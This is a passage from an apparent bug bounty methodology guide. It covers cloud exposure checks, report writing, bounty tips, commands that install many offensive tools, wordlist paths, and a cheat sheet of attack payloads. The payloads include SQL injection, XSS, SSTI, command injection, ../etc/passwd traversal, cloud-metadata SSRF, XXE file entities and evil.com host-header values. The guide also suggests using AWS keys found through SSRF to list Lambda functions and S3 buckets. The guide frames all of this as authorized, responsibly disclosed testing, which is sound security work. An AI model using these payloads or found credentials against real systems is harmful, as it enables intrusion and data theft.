# 5. CVSS score estimate
```

PHASE 8 — CLOUD, MOBILE & THICK CLIENT TESTING

Extended attack surfaces most hunters ignore

8.1 — Cloud Asset Deep Dive

```
# IP ranges for cloud detection
# AWS: https://ip-ranges.amazonaws.com/ip-ranges.json
# GCP: https://www.gstatic.com/ipranges/cloud.json
# Azure: https://www.microsoft.com/en-us/download/details.aspx?id=56519

# Identify cloud provider from IP
cat recon/ips/asn_ips.txt | cdncheck -resp

# Enumerate Lambda functions (if AWS keys found from SSRF/secrets)
aws lambda list-functions --region us-east-1
aws s3 ls --recursive s3://target-bucket

# Kubernetes/EKS exposure
cat recon/subs/alive.txt | httpx -path '/api/v1/pods' -mc 200 -silent
curl https://target.com/api/v1/secrets -H 'Authorization: Bearer TOKEN'

# ElasticSearch open access
cat recon/subs/alive.txt | httpx -path '/_cat/indices' -mc 200 -silent | tee
vulns/elasticsearch.txt

# Docker registry exposure
cat recon/subs/alive.txt | httpx -path '/v2/_catalog' -mc 200 -ms 'repositories' |
tee vulns/docker_registry.txt
```

PHASE 9 — REPORT WRITING & BOUNTY COLLECTION

A great bug with a bad report = low bounty. Make every word count.

9.1 — Report Structure (Use This Exact Format)

```
# ── MANDATORY REPORT SECTIONS ──────────────────────────────────────

**Title:** [Vuln Type] in [Component] allows [Impact]
Example: Stored XSS in /profile/bio leads to Account Takeover via Cookie Theft

**Severity:** Critical / High / Medium / Low (with CVSS v3 score)

**Summary:** 2-3 sentences. What is the bug, where is it, what does it let an
attacker do?

**Vulnerability Details:** Technical explanation, root cause, vulnerable code/param

**Steps to Reproduce:**
1. Navigate to https://target.com/vulnerable-endpoint
2. Enter the following payload in the [field]: PAYLOAD
3. Click Submit
4. Observe: [exact behavior / response]

**Proof of Concept:**
- curl command that reproduces it
- Burp request (redact sensitive data)
- Screenshot / screen recording

**Impact:**
An attacker can [concrete harm]. This affects [scope of users/data].
Example: All registered users' session tokens can be stolen, leading to full ATO.

**Remediation:** Specific, actionable fix recommendation

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```

9.2 — Severity Scoring Guide

Severity	CVSS Range	Examples	Typical Bounty
Critical	9.0–10.0	RCE, SQLi with DB dump, ATO at scale	$5,000–$100,000+
High	7.0–8.9	IDOR mass PII, stored XSS ATO, SSRF cloud	$1,000–$10,000
Medium	4.0–6.9	Reflected XSS, CORS, limited IDOR	$300–$2,000
Low	0.1–3.9	Open redirect, info disclosure, CSRF low-impact	$50–$500

9.3 — Platform-Specific Submission Tips

```
HackerOne:
  - Use structured weakness fields (CWE number)
  - Attach CVSS calculator link
  - Follow up after 7 days if no response
  - Disclose only after fix + bounty awarded

Bugcrowd:
  - Map to VRT (Vulnerability Rating Taxonomy)
  - Provide deduplication notes
  - Request re-evaluation if severity is downgraded unfairly

Intigriti / YesWeHack:
  - Follow their severity matrix exactly
  - European programs pay well — check for these

Immunefi (Web3):
  - Smart contract bugs = highest payouts ($1M+)
  - Require proof of fund-loss or access control bypass

ALWAYS:
  - Test in your own account — never access other users' real data
  - Stop testing once you've proven impact — don't exploit further
  - Disclose responsibly — give 90 days minimum before public disclosure
```

9.4 — Maximizing Your Bounty

```
1. Chain vulnerabilities: SSRF + Cloud Metadata + Keys = Critical vs SSRF alone =
Medium
2. Show business impact: 'All customer credit cards exposed' > 'SQL error in
response'
3. Submit early — first finder gets the bounty, duplicates get nothing
4. Engage triagers professionally — they're your advocates
5. Specialize in a tech stack — become the expert others miss
6. Target private programs — lower competition, faster response
7. Read ALL disclosed reports on your targets — understand what patterns work
8. Monitor targets continuously — new features = new attack surface
9. If bounty is too low, provide remediation details and ask for re-evaluation
10. Build a reputation — P1s lead to more invitations to private programs
```

COMPLETE TOOL INSTALLATION REFERENCE

Go Tools (Install All)

```
# Install Go first
wget https://go.dev/dl/go1.22.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.22.0.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin' >> ~/.bashrc && source
~/.bashrc

# Install all Go tools at once
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest &
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest &
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest &
go install -v github.com/projectdiscovery/katana/cmd/katana@latest &
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest &
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest &
go install -v github.com/projectdiscovery/alterx/cmd/alterx@latest &
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest &
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest &
go install -v github.com/projectdiscovery/urlfinder/cmd/urlfinder@latest &
go install -v github.com/projectdiscovery/tlsx/cmd/tlsx@latest &
go install -v github.com/projectdiscovery/cdncheck/cmd/cdncheck@latest &
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest &
go install -v github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest &
go install github.com/tomnomnom/assetfinder@latest &
go install github.com/tomnomnom/waybackurls@latest &
go install github.com/tomnomnom/anew@latest &
go install github.com/tomnomnom/gf@latest &
go install github.com/tomnomnom/hacks/urinteresting@latest &
go install github.com/lc/gau/v2/cmd/gau@latest &
go install github.com/lc/subjs@latest &
go install github.com/hakluke/hakrawler@latest &
go install github.com/hakluke/hakrevdns@latest &
go install github.com/hakluke/haktrails@latest &
go install github.com/hakluke/hakip2host@latest &
go install github.com/jaeles-project/gospider@latest &
go install github.com/ffuf/ffuf/v2@latest &
go install github.com/OJ/gobuster/v3@latest &
go install github.com/sensepost/gowitness@latest &
go install github.com/hahwul/dalfox/v2@latest &
go install github.com/KathanP19/Gxss@latest &
go install github.com/Emoe/kxss@latest &
go install github.com/ethicalhackingplayground/bxss@latest &
go install github.com/d3mondev/puredns/v2@latest &
go install github.com/gwen001/github-subdomains@latest &
go install github.com/gwen001/gitlab-subdomains@latest &
go install github.com/gwen001/related-domains@latest &
go install github.com/PentestPad/subzy@latest &
go install github.com/lobuhi/byp4xx@latest &
go install github.com/mlcsec/headi@latest &
go install github.com/kleiton0x00/ppmap@latest &
go install github.com/incogbyte/shosubgo@latest &
go install github.com/rix4uni/originiphunter@latest &
go install github.com/edoardottt/csprecon/cmd/csprecon@latest &
go install github.com/bp0lr/gauplus@latest &
go install github.com/assetnote/kiterunner/cmd/kr@latest &
go install github.com/channyein1337/jsleak@latest &
go install github.com/MrEmpy/mantra@latest &
go install github.com/ameenmaali/urldedupe@latest &
go install github.com/rverton/webanalyze/cmd/webanalyze@latest &
go install github.com/praetorian-inc/fingerprintx/cmd/fingerprintx@latest &
```

```
go install github.com/dolevf/graphw00f/cmd/graphw00f@latest &
go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest &
wait && echo '[✓] All Go tools installed'
```

Python Tools

```
# Install Python tools
pip install --break-system-packages \
  arjun wafw00f dirsearch bbot subdominator paramspider \
  trufflehog shodan censys waymore s3scanner \
  graphw00f clairvoyance bfac

# Install from GitHub (pip install won't work)
git clone https://github.com/GerbenJavado/LinkFinder && cd LinkFinder && pip
install -r requirements.txt --break-system-packages
git clone https://github.com/m4ll0k/SecretFinder && cd SecretFinder && pip install
-r requirements.txt --break-system-packages
git clone https://github.com/epinna/tplmap && cd tplmap && pip install -r
requirements.txt --break-system-packages
git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap && pip install -r
requirements.txt --break-system-packages
git clone https://github.com/s0md3v/Corsy && cd Corsy && pip install -r
requirements.txt --break-system-packages
git clone https://github.com/obheda12/GitDorker
git clone https://github.com/ticarpi/jwt_tool && cd jwt_tool && pip install -r
requirements.txt --break-system-packages
git clone https://github.com/commixproject/commix && cd commix && python3 commix.py
--install
git clone https://github.com/blechschmidt/massdns && cd massdns && make
git clone https://github.com/initstring/cloud_enum && cd cloud_enum && pip install
-r requirements.txt --break-system-packages
git clone https://github.com/ambionics/phpggc
git clone https://github.com/schooldropout1337/lazyegg
```

System Tools

```
# Core packages
sudo apt install -y nmap masscan curl jq python3-pip git golang ruby-dev build-
essential

# wpscan (WordPress)
sudo gem install wpscan

# feroxbuster (Rust)
curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh |
bash

# sqlmap
sudo apt install sqlmap

# RustScan
wget
https://github.com/RustScan/RustScan/releases/latest/download/rustscan_linux_amd64.deb
sudo dpkg -i rustscan_linux_amd64.deb

# EyeWitness
git clone https://github.com/FortyNorthSecurity/EyeWitness
cd EyeWitness/Python/setup && bash setup.sh
```

```
# wordlists
sudo apt install seclists
wget https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt -P
/usr/share/wordlists/
wget https://github.com/trickest/resolvers/raw/main/resolvers.txt
wget https://github.com/trickest/resolvers/raw/main/resolvers-trusted.txt

# GF patterns
git clone https://github.com/1ndianl33t/Gf-Patterns ~/.gf
git clone https://github.com/coffinxp/GFpattren /tmp/gf_extra && cp
/tmp/gf_extra/*.json ~/.gf/
```

Wordlist Quick Reference

Use Case	Wordlist Path
DNS Bruteforce	/usr/share/wordlists/seclists/Discovery/DNS/best-dns-wordlist.txt
DNS Medium	/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
DNS Targeted	/usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
DNS Jhaddix	/usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
DNS CommonSpeak2	/usr/share/wordlists/commonspeak2-wordlists-master/subdomains/subdomains.txt
Dir Large	/usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
Dir Medium	/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
Files Large	/usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt
Common	/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
Parameters	/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
Dir Big	/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
LFI Payloads	/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
XSS Payloads	/usr/share/wordlists/seclists/Fuzzing/XSS/XSS-Jhaddix.txt
Password Reset	/usr/share/wordlists/rockyou.txt
API Routes	kr wordlist save apiroutes-251027 (kiterunner)
Assetnote API	https://wordlists.assetnote.io (download manually)

VULNERABILITY QUICK-REFERENCE CHEAT SHEET

Vulnerability	Severity	Tools	Key Payload / Indicator
SQL Injection	Critical	sqlmap, gf sqli, httpx	' OR 1=1-- / SLEEP(5)
Stored XSS	Critical	dalfox, Gxss, kxss	<svg onload=confirm(1)>

RCE via SSTI	**Critical**	tplmap, nuclei	{{7*7}} / ${7*7}
RCE via Deser.	**Critical**	ysoserial, PHPGGC	rO0AB (Java) / O:4: (PHP)
SSRF → Cloud	**Critical**	SSRFmap, nuclei, httpx	http://169.254.169.254/
LFI → RCE	**Critical**	ffuf, nuclei	../../../../etc/passwd
Command Inj.	**Critical**	commix, nuclei	; id && id | id
JWT Alg None	**Critical**	jwt_tool	alg: none, empty sig
XXE	**High**	nuclei, Burp	<!ENTITY xxe SYSTEM 'file://'
IDOR	**High**	Burp Autorize, ffuf	id=1 → id=2 pattern
Reflected XSS	**High**	dalfox, airixss, ffuf	"><script>alert(1)</script>
Blind XSS	**High**	bxss, XSS Hunter	Inject in headers/admin fields
CORS + Creds	**High**	Corsy, CORScanner, curl	Access-Control-Allow-*
Subdomain Takeover	**High**	subzy, nuclei	CNAME → unclaimed service
Host Header Inj.	**High**	headi, httpx	X-Forwarded-Host: evil.com
Open Redirect	**Medium**	httpx + qsreplace	?next=//evil.com
CSRF	**Medium**	Burp, nuclei	Missing CSRF token
CRLF Injection	**Medium**	crlfuzz, nuclei	%0D%0ASet-Cookie:x=1
OAuth Bypass	**Medium**	Manual, nuclei	Missing state, redirect_uri
Request Smuggling	**High**	smuggler, Burp	CL.TE / TE.CL variants
Prototype Pollution	**Medium**	ppmap	__proto__[polluted]=test
GraphQL Injection	**High**	graphw00f, clairvoyance	__schema introspection
File Upload	**High**	Manual, nuclei	.php.jpg, magic bytes bypass
Race Condition	**High**	Turbo Intruder, racepwn	Concurrent identical requests
Exposed .git	**High**	httpx, git-dumper	/.git/config returns [core]
S3 Misconfiguration	**High**	s3scanner, cloud_enum	aws s3 ls --no-sign-request
WebSocket Vuln	**Medium**	wscat, Burp	WS message manipulation
Dependency Confusion	**High**	npm view	Internal pkg name on npm
Business Logic	**High**	Manual only	Price=-1, skip payment step
Info Disclosure	**Low**	nuclei, grep	.env, backup files, debug

PRE-SUBMISSION CHECKLIST

- ☐ Verified the vulnerability is within scope
- ☐ Reproduced the bug at least 3 times from a clean session
- ☐ Tested in your own test account — no real user data accessed
- ☐ Documented every step with curl commands or Burp requests
- ☐ Screenshot/video captured as proof
- ☐ Assessed real impact (not just a trigger/detection)
- ☐ Attempted to chain the vulnerability for higher impact
- ☐ CVSS score calculated and included
- ☐ Remediation recommendation written
- ☐ Sensitive data blurred in screenshots
- ☐ Report clearly written — triager can reproduce without asking questions
- ☐ Confirmed this is NOT a duplicate (search disclosed reports)

Built by combining methodology docs, vavkamil/awesome-bugbounty-tools, and expert analysis.

Use only on authorized targets. Happy hunting.